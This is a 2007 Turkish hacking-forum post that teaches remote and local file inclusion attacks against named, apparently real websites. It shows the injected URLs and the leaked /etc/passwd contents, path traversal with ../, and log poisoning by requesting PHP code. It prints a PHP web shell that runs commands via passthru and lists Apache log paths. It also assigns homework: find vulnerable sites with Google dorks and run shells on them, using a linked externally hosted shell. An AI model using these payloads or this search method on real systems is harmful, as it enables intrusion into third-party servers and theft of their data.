PortalliPortalli  ForumForum  AnasayfaAnasayfa  TakvimTakvim  SSSSSS  AramaArama  Kayıt OlKayıt Ol  Üye ListesiÜye Listesi  Kullanıcı GruplarıKullanıcı Grupları  YöneticilerYöneticiler  Giriş yap  

Paylaş | 
 

 File Inclusion (FI)

Aşağa gitmek 
YazarMesaj
H@CKER
HTT Üyesi
HTT Üyesi
avatar

Erkek
Mesaj Sayısı : 468
Şehir : www.hackturkiye.ile.biz
Meslek : H@CKER\'LİK
Kayıt tarihi : 12/08/07

MesajKonu: File Inclusion (FI)   Ptsi Ağus. 13, 2007 8:41 am

File inclusion yani dosya dahil etme dediğimiz olay bir çok sistemde bulunan bir açıktır.Eğer mailling listlere üye iseniz bu tarz açıklarla ile ilgili bir çok mesajın olduğunu görebilirsiniz.

Bu tarz açıklar ile gerek remote (uzaktan) dosyaları mevcut aplikasyona dahil edebilir, gerek local (yerel) dosyaları dahil edebilirsiniz..

Peki remote ile yerel arasındaki farkı nedir? Remote olan FI açıklarında fazla uğraşmanıza gerek yoktur az biraz HTTP protokolü hakkında bilgi yeterlidir (GET/POST Request yani İstekleri) kaldıki mevcut sistem bunu direk olarak GET ile isteyeceğinden size sadece aldığınız hata mesajı yeterli olacaktır.

Örnek bir hata mesajı yazalım:
http://www.successteam1.com/order/?p...ASOR/SHELL.PHP adresine giriyoruz.

Kod:
http://SERVERIMIZINADRESI/KLASOR/SHELL.PHP
Warning: main(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/successt/public_html/order/index.php on line 20

Warning: main(http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php): failed to open stream: Permission denied in /home/successt/public_html/order/index.php on line 20

Warning: main(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/successt/public_html/order/index.php on line 20

Warning: main(http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php): failed to open stream: Permission denied in /home/successt/public_html/order/index.php on line 20

Fatal error: main(): Failed opening required \'http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php\' (include_path=\'.:/usr/lib/php:/usr/local/lib/php\') in /home/successt/public_html/order/index.php on line 20Gördüğünüz gibi sistem bizim SHELL.php nin sonuna que.php bindirmiş.
Bunu aşmanın 2 yolu mevcut:
1) Sunucumuzda que.php adında bir dosya oluşturup isteğimizi http://www.successteam1.com/order/?p...ADRESI/KLASOR/ adresine girersek que.php yi zaten bindirdiğinden mevcut php shellimizi load edebiliriz.
2) Birazcık HTTP protokolünü bilmemizin yardımı ile daha pratik ve mantıklı olan \"?\" karakteririni isteğimizin sonuna koyalım.
http://www.successteam1.com/order/?p...SOR/SHELL.PHP? ? bildiğiniz üzere extensiondan sonra gelip sunucuya bu dosya ile ilgili isteklerimizin neler olduğunu belirtmemize yarar.

Bu şekilde aldığımız hata mesajları ile Remote File Inclusion yani Uzaktan Dosya Dahili yapmamızı kolaylıkla yapabiliriz. Tabii ki bu tarz kolay istekler karşınıza çıkmayabilir bunlarıda yorumlamak ve değerlendirmek tamamıyla size kalmış bir şey ben size şuan balık tutmayı öğretiyorum direk balığı vermem.

Peki remote yapamadık local file inclusion nasıl yaparız neyimize yarar?

LFI ile sistemdeki okuma hakkına sahip olduğumuz bütün dosyaları dahil edebiliriz.
Örneğin en basitinden herkesin bildiği: /etc/passwd nasıl dahil edeceğimizi gösterelim
http://www.et.byu.edu/ce/misc/misc.php?page=contact.php adresine girdik ve önce RFI denedik hiç bir şekilde shellimiz dahil edilmedi ve bir hata mesajı almadık.
Pratik olarak kafamızı çalıştırarak.
http://www.et.byu.edu/ce/misc/misc.php?page=/etc/passwd adresine giriyoruz.
tata sayfanın en üstünde dosyamız yüklendi.

Kod:
root:x:0:0:root:/root:/bin/tcsh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh .. devamı
root:x:0:0:root:/root:/bin/tcsh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh .. devamıGördüğünüz gibi sistemdeki kullanıcılar ve haklarını gördük.
Peki LFI nasıl geliştirilebilir?
http://www.tigran.ru/index.php?page=include/rezkost.php gibi bir adres bulduk ve http://www.tigran.ru/index.php?page=/etc/passwd denedik ve şöyle bir hata aldık

Kod:
Warning: main(.//etc/passwd): failed to open stream: No such file or directory in /usr/www/www.tigran.ru/www/index.php on line 68

Warning: main(): Failed opening \'.//etc/passwd\' for inclusion (include_path=\'.:\') in /usr/www/www.tigran.ru/www/index.php on line 68Gördüğünüz gibi dosya veya klasör mevcut değil hatası aldık.
/usr/www/www.tigran.ru/www/index.php yolu üstünde ./ ile gelen sorguyu birleştirip dosyayı arıyor. ./ burada mevcut klasörü kapsamakta biz bu klasörün ana yoluna inerek / burdan etc klasöründen passwd dosyasını nasıl okuruz onu görelim.
Sayalım kaç klasörün üstündeyiz.

Kod:
usr
www
www.tigran.ru
wwwToplam 4 klasörün üstündeyiz suan. O zaman ../ yani bir üst dizine gitmemizi sağlayan kısaltmamızı kullanalım.
http://www.tigran.ru/index.php?page=.../../etc/passwd bu sekile getirelim adresi ve girelim gördüğünüz gibi 4 adet ../ kullandım ve karşımızda

Kod:
# $FreeBSD$ #
root:*:0:0:Charlie &:/root:/usr/local/bin/bash .. ve devamıYerelden dosya dahil etmeyi dahada geliştirebiliriz.Bildiğiniz üzere eğer sistemde olmayan bir dosya isteğinde bulunursak bunları access_log veya error_log gibi dosyalara yazar.Bu dosyaların içine ufak php scriptleri nasıl enjekte edilir onu gösterelim.Bu yöntemde en büyük sorun bu log (kayıt) dosyalarının yollarını bulmaktır.
http://kurban/site/<?php phpInfo();?> gibi ufak bir php bilgisi gösteren kod yazıp istekde bulunduk.
Bu isteğimiz doğrultusunda eğer doğru kayıt dosyasının yolunu bulursak php bilgisini elde edebiliriz.
Ufak bir shell kodu verelim

Kod:
<?php ob_clean();echo Selam!;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);} passthru($_GET[cmd]);echo Bitti;die;?>Bu çok kullanan bir shell metodudur.
Olası kayıt dosyaları ise

Kod:
/var/log/httpd/access_log
/var/log/httpd/error_log
/apache/logs/error_log
/apache/logs/access_log
/apache/logs/error.log
/apache/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_logBu yöntemleri geliştirmek tamamen elinizde.Sıra bu döküman ile ilgili ödeve geldi.
Google hacking sayesinde FI kullanarak shell çalıştırılan siteleri bulunuz.
Örnek arama:
inurl:site exthp site:at Tipik bir abudik.php?site=xxx.php gibi dosya dahil eden siteleri arama metodu avusturya üstündekileri aramakta.
Örnek link:
http://www.schrofenstein.at/start.ph...ladi/musa.php?
Hazır shellim yok diyenlere
http://hometown.aol.com/yarivgiladi/musa.php
Saygılar,
Sayfa başına dön Aşağa gitmek
Kullanıcı profilini gör
ByLorD
HTT Üyesi
HTT Üyesi
avatar

Mesaj Sayısı : 75
Şehir : Pc
Meslek : Pc Kurdu
Kayıt tarihi : 10/08/07

MesajKonu: Geri: File Inclusion (FI)   Ptsi Ağus. 13, 2007 10:56 am

EyW
Sayfa başına dön Aşağa gitmek
Kullanıcı profilini gör http://hackturkiye.buygoo.net
 
File Inclusion (FI)
Sayfa başına dön 
1 sayfadaki 1 sayfası

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
 ::  :: WEB Security-
Buraya geçin: